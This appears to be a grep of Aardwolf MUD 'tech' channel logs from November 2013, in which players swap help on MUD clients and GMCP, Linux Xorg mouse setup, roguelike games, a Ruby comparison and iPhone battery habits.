T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: abelinc does however have a gq script to automatically unscramble scrambled mob names
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: not exactly ;-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: but I do have tools to help me accomplish it
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: how well does it work for zangars? :P
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: fine :-)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, if anyone has time to help me get xorg-server up and running it'd be nice, life in a command line just isnt as exciting, and i'm hoping to try the new ragnarok2 game out :(
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: for zangar level is more important...a grot isn't the same as a grot...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Xarfin seems to think you have the right idea.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Aizma Tech: X is overrated
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I want someone to make a Zork and Pals server :p
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Redryn raises an eyebrow.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: nor is it the same as a grod or grov or grof
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: you have an unobfuscating code?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude feeds you to a grue.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: you like to code the hard stuff and not the easy stuff eh :p
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: NOOOO! NOT THE GRUE!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Fire up NetHack VampireDude
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: Xarfin my troll priest dies on it too fast :(
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: kill the monkey grinder
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Tourist is the only way to go ;)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I play ADOM sometimes, it's sort of like nethack. Troll Healer is so OP x.x
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: adom is a whole different game :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: corruption makes it fun
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: For those of you who like Roguelikes, especially olden goldies like Nethack and ADOM, check out Dungeon Crawl Stone Soup.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: You can play it in console...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude also kind of wants to use a web browser that can do images.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: with a troll on ADOM, I wouldn't mind any of the corruptions. It's not like I'd be able to do anything with "looks" anyways.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: i cant remember the name.. but theres a server somewhere that will convert images to ASCII.. you can try that maybe?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: VD, have you tried actually starting X?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: drakoth hmmn, i dont know that server... does it require javascript?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: my only regret from the times I have played ADOM is that I have yet to get a wish from either a pool or a ring x.x
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: I remember having fun watching DVDs in ASCII. :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: abelinc yeah, i tried startx, it freezes, and i tried it with xdm, and after i log in, it freezes
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: this soup is cool...can watch other players playing online
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ullin how many members in a party on that soup?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: no ideal...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: no idea...just clicked on watch just now
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: that's bad...this could take time away from aardwolf...
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude gasps as he realizes what Ullin did.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: is there an IOS version? that would basically stop me from being productive at work, finally
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: What is it again?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: dungeon crawl stone soup....WOW :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: Ah, Crawl. There's an Android port, webtiles for the browser... and of course the regular Windows/Linux/etc.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ooh maybe i should use one of my phones for that then. brb
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Xarfin Tech: You could probably do webtiles on an iPad but you'll be limited without a full keyboard
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ullin Tech: thanks for getting me fired ... in a few months :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: Xarfin looks around and whistles innocently.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Semirhage Tech: how does one make a keybind/macro or w/e
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Semirhage Tech: usin mushclient
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Nuanse Tech: file-world properties-macro
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Semirhage Tech: nevermind digured it out
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Semirhage Tech: figured*
T3/r7/2013-11-11.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know how to unmute a sound card using alsa , from a command line?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have found it. The worst POSSIBLE way to set up content on a website. This is Satan in HTML. http://wiki.answers.com/Q/Differences_between_go_back_n_arq_and_selective_repeat_arq_protocol#slide1
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Serevok Tech: best Android app for tablet?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Arystul Tech: depends on what youre into
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Serevok Tech: what do you mean?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: it depends what you want
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Arystul Tech: well, I could tell you about a sweet 9 innings baseball game, but if you hate baseball then it isn't the best for you lol
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Serevok Tech: well, a mud client app of course
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why of course?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Arystul Tech: blowtorch designed for aard probably
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Serevok Tech: thanks, I'll give  it a shot
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Tech: in the play store, it's called aardwolf rpg
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Definitely Defines Tech: anyone know of a mush plugin for displaying consider output in a miniwindow
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: what's the most efficient way to sort 2 numbers in ruby?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ranrr Tech: I don't know ruby, but... a<b?a:b
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: ok thanks!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ranrr Tech: Well, that was to find the smallest, but you get it.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: i basically want to get 2 random numbers, but want to know which is the smaller one
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: (and also the bigger one)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Definitely Defines Tech: Ranrr's suggestion is what I'd use in that scenario
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: so do the same argument twice?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Ranrr Tech: I would probably use an if statement, for readability.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: can i set the 2nd variable as well so i only have to do 1 comparison?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: ok
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: so just a = rand, b=rand, if a>b then a,b=b,a ?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Definitely Defines Tech: yeah if you were going to do more than a simple return use an if
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Redryn Tech: ok thanks
T3/r7/2013-11-11.txt.gz:{chan ch=tech}TrEz Tech: does anyone here have ipod 7g and not using it with itunes
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Blade Lord Kizactrin Tech: I used to have a cheap mp3 player filled with a variety of german rock, new age, and fantasy movie soundtracks, does that count?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The mighty Hollister Tech: lol me too!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Naud Tech: i need help calibrating the aardwolf mud client. I am creating a trigger that plays a sound when someone goes superhero, but when i enter the trigger phrase, you know the default message when someone goes superhero, but it keeps saying that it doesn't allow line breaks. can anyone help?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Definitely Defines Tech: you need to create a multi-line trigger 
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Naud Tech: thanks!
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Definitely Defines Tech: np :)
T3/r7/2013-11-11.txt.gz:{chan ch=tech}MeowingHorse Tech: the client only loads once for me, then i have to redownload it. What's the deal
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Loshy Tech: anyone elses apple devices get broken with itunes update 
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Pleiades Tech: I think Abe had the same problem, so he switched to Windows
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Loshy Tech: its on my ipad.. cant get the restores to work because i cant get dfu working
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: anyone tell me where I can find a handy table of the valid color names for Bast scripts?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: assuming it uses the standard mxp colors, http://www.gammon.com.au/mushclient/mxpcolours.htm
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Martini & Tyebald Tech: cool, thanks.
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Pleiades Tech: has anyone seen stability issues with mushclient running in wine?
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Wraiff Tech: no
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Wraiff Tech: the only issues i have had are with some of the plugins, mostly gmcp mapper and spellup
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Pleiades Tech: I seem to experience frequent crashes
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Wraiff Tech: I havent had any chashes since installing it under wine
T3/r7/2013-11-11.txt.gz:{chan ch=tech}Pleiades Tech: I wonder if it started when I upgraded to mavericks
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know how i can find out if it's a udev config error or an xorg config error that's keeping my mouse from working in xorg-server?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: i have no idea but i would go through my logs if it was me...
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: what does it say in the logfiles?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: which logfile?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: event-logs
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ill see if i have an event log, thanks , brb
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: have you tried another port?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it's a laptop
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: other usb-port 
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it's built into the laptop.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: ok, well have you tried an update? or different driver?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Nuanse Tech: have you tried to google it? sounds like something that would be common error in your laptop model
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster, i am not finding an event log
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: nuanse i tried googling it, yes.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: what OS do you have?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster, gentoo linux, just installed last weekend
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: linux on a laptop - risky
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, it's already installed. 
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: then there aretech have you checked the /var/log?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: checking, brb
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i have xorg.log, xorg.0.log, xdm.log
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and syslog
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: http://www.thegeekstuff.com/2011/08/linux-var-log-files/
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster the xorg log says it's using my evdev 's /dev/input/mouse0
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: um, i can't click that link ekster, my mouse doesnt wrok
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: one sec while i type it out
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Troll Report Mk I: Troll Name: VampireDude. Troll Type: Effort Troll/Concern Troll. Posts very specific technical questions which pertain to obscure or outdated domain knowledge. He Wins When: Long, extremely technical discussions fill the tech or other channels, increasing the noise ratio for legitimate queries. Threat Rating: Minor. Only indirectly malicious and/or disruptive.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: ok :) it's an overview of logfiles, but you find it already
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: some laptops use unknown propriety hardware-shortcuts crap (unknown to linux)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: zade well, linux seems to detect my hardware well, even the display
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it'd be a lot easier to configure stuff with a mouse though.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: plus after all that effort getting it to boot, i'd rather keep the linux and get a working gui, than go back to bsd
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: does /dev/mouse exist on your OS?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Nuanse Tech: just plug in usb mouse :)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster yes, /dev/psaux , and /dev/inputs/mouse0 exist
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: so mouse works on BSD but not on Gentoo linux
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: http://wiki.gentoo.org/wiki/Synaptics
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: ah
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: the mouse works fine in gpm from console
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: the mouse buttons are working in xorg as well, but it won't move the cursor
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: morden mouse or decades old mouse
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: workaround: http://forums.freebsd.org/archive/index.php/t-37329.html
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: you might check that out
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster but that's a freebsd forum right? i have linux
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: it's about the xorg.conf
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: https://wiki.archlinux.org/index.php/All_Mouse_Buttons_Working
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ekster the mouse buttons already work?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: sorry
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: found something about an invisible mouse for gentoo... reading it at the moment
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ekster Tech: so it might look it don't work
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: if the obsolete mouse was decades old, and required constant polling, the cursor 'd likely never move ub some systems - modern mouse are events-based, not constant-polling-based
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: zade. it's a modern mouse
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: remember the part about it being in a laptop.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}NoobzProject Tech: hi i have a problem with my keyboar, when i press backspacve it doesnt work
T3/r7/2013-11-12.txt.gz:{chan ch=tech}NoobzProject Tech: backspace*
T3/r7/2013-11-12.txt.gz:{chan ch=tech}NoobzProject Tech: anyone here?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like it's time for a new keyboard.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}NoobzProject Tech: nah, im on raw telnet :/
T3/r7/2013-11-12.txt.gz:{chan ch=tech}NoobzProject Tech: i see now
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, what? Telnet will send chars before a newline, you can't backspace.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Get ye a real client
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: try ctrl+h instead
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: seems Telnet is an expletive crap that (after decades) never updated much
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: reminiscent of Zork -- the Infocom supplied versions were a pain to type -- the pirate-module-converted versions were a pleasure to play
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: the pirate-module-converter (which stripped copy protection, added a superior keyboard interface, supplied a keywords list, permitted the game to run from clean copies or from a harddrive), justified purchasing the Infocom versions (the cheap infocom floppy-disks used to ruin the 5.25" floppy drives)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: if i desired to play Zork these days, i'd never use the recent free-versions supplied by what remains of Infocom - the recent interface is a disgrace to decent software
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Zade Tech: but then getting a working 5.25" floppy drive may be difficult these days (unless i saved the converted versions to a 1.44mb floppy, or the junked 20mb eide harddisk yet works)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I never really cared about the idea of G+ and Youtube merging... but wow does it make it confusing reading +coventryboy68 or whatever at the beginning of people's comments.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Some of the people's names are like +Misery, I am having difficulty separating @user and the actual comment
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: its annoying... I have a really old google account and separate youtube accounts linked to them and its all screwy
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also, this is quite funny: http://www.youtube.com/watch?v=9u6Bfnq3aZk
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I am very glad my youtube experience has been a subscribe-less, comment-less google-and-click wonderland up to now. Guess it will continue as such :-)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: everytime i go to youtube it gives me a list of six accounts to be, trying to get me to merge them all... its ridic
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And since I added the domains the 'Would you like us to plaster your actual name over all the titty-bounce videos you watch' message uses to adblock, I don't even see that!
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Summoner Yuna Tech: I just changed my iPhone's battery and I now need to drain it completely before charging it for the first time to maximize battery life. Problem is that it's just not be draining fast enough for my liking.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kalados Tech: I thought doing that was a myth
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Saerec Tech: run more apps
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Summoner Yuna Tech: What's the fatest way to drain your iPhone's battery? All Google's giving me are tips on how to prevent this from happening instead of suggesting an activity that'll drain it a whole lot.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: I heard the same Kalados
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Play lots of games?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Saerec Tech: game apps drain the iphone a bit, but I think fastest way is running lte, and stream online movies
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kalados Tech: but if you really wanna drain it, stream videos on your phone at the highest resolution and mute it and leave it somewhere
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kalados Tech: yep
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: HD video
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Summoner Yuna Tech: does Youtube count?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kalados Tech: yes
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Bast Tech: it is a myth, the new batteries don't need that
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Summoner Yuna Tech: Alrighty then!
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Gener Tech: You can and should charge as often and as long as possible.  Don't fully discharge (unless you need to recalibrate the battery meter) as deep discharges are hard on lithium batteries.  Normal mobile use will result in the one charge cycle/month that Apple recommends.  http://www.apple.com/batteries/iphone.html
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Summoner Yuna Tech: Yeah, I know. I just read that the first time you use your battery, you should let it drain completely to calibrate it. After that, try to never let it drain completely, ever.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Saerec Tech: doesn't apple's software automactiaclly initiate the deep charging if iphone charge drops below 20%
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Otarin Tech: anyone know anything with windows 8/mush interacting that would keep me from being able to play sounds with my mushclient? like when its quest time for example
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SilentSatan Tech: can aard be running on a online browser ... Allmost like a mud on a webpage ? 
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.aardwolf.com/play/index.htm
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SilentSatan Tech: thank you!!! 
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: how do I turn gmcp on lol
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: which client?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: one that doesn't support gmcp
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: in that case: switch client
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: if I wanted to make a client that supported gmcp, where would I start?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: you'd start with telnet.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: make or use?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: yeah make
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Tech: [**NOPK**] Redwood hides his face in his palm after seeing what Kanashii did.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: just the gmcp part, not the rest
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: okay. Is there documentation for gmcp?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Insane Xantcha Tech: I seem to recall there used to be a GMCP proxy... but I remember nothing about it
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: i would start by looking at mudlet source - i haven't checked myself, but i think it's a pretty decent implementation
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: thanks
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: http://www.mudstandards.org/ doesn't seem to exist
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: it's on this page: http://www.aardwolf.com/wiki/index.php/Clients/GMCP
T3/r7/2013-11-12.txt.gz:{chan ch=tech}AardGuide Marchetti Tech: anyone know where I can get a plugin for mush that will keep track of my quest points earned and give an average?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Tormat Tech: finger bast
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: the bast scripts
T3/r7/2013-11-12.txt.gz:{chan ch=tech}AardGuide Marchetti Tech: thanks
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: -5 10
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: angain.. fail
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: -5 10
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: now look here children
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: haha what. I think I clicked on one station then another station on pandora, now i got two songs going at once :/
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: you mean pandora actually plays music now?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: lol
T3/r7/2013-11-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: client update (finally)
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: -5 10
T3/r7/2013-11-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I hope this one doesn't break for too many people
T3/r7/2013-11-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: one of the changes is kinda scary
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Definitely Defines Tech: uh oh
T3/r7/2013-11-12.txt.gz:{chan ch=tech}SlowMoos Tech: mushclient?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Tormat Tech: what change?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Turie Tech: Look at the wiki for more information abot fixes and so on.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Tormat Tech: we talking about mush or something else?
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Turie Tech: AardMUSH
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: hmmm. 102, or 201? does it matter.
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Kanashii Tech: uuuh yeah. ignore
T3/r7/2013-11-12.txt.gz:{chan ch=tech}Arista Tech: Hmm.. is there a way to update the aardwolf mushclient while not losing all my settings?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Negader Tech: hello, my communication log window is no longer working in my mushclient.  Anyone know a quick fix, or should I just re-download and replace the old files?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: that sounds like a quick fix to me
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There's plenty of quick fixes, but they require knowing what you did to mess it up first
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Negader Tech: not if i have to retype in my old triggers and all.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Wraiff Tech: have you tried reloading the plugin?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Negader Tech: reloading the plugins?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: if( option == static_cast<char>(102) ) // Aardwulf channel 102 support
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: aardwulf
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: I've just updated my aardclient and I get "The application was unable to start correctly"
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: any tech tech tech and then "0xc0000022)
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: I am guessing no one else is having problems?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}SilentSatan Tech: nope not on my screen ..
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Swalec Tech: what a pain -- I tried reverting but that is failing as well
T3/r7/2013-11-13.txt.gz:{chan ch=tech}SilentSatan Tech: wow you made me break a ruel .. "Miltyplaying"
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Trying out GMCP at a low level in a new flat client, but 'protocols gmcp' shows everything as 'OFF'. However, I am getting some GMCP messages like for ticks even with that. Any way to get everything to show as on?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Kanashii Tech: everything is off?
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Everything says it's off when I do 'protocols gmcp', but I'm still getting things like comm.tick { } in my raw output.
T3/r7/2013-11-13.txt.gz:{chan ch=tech}Hxsesthuli Tech: Yeah I'm getting comm.tick and comm.repop but no other GMCP messages.
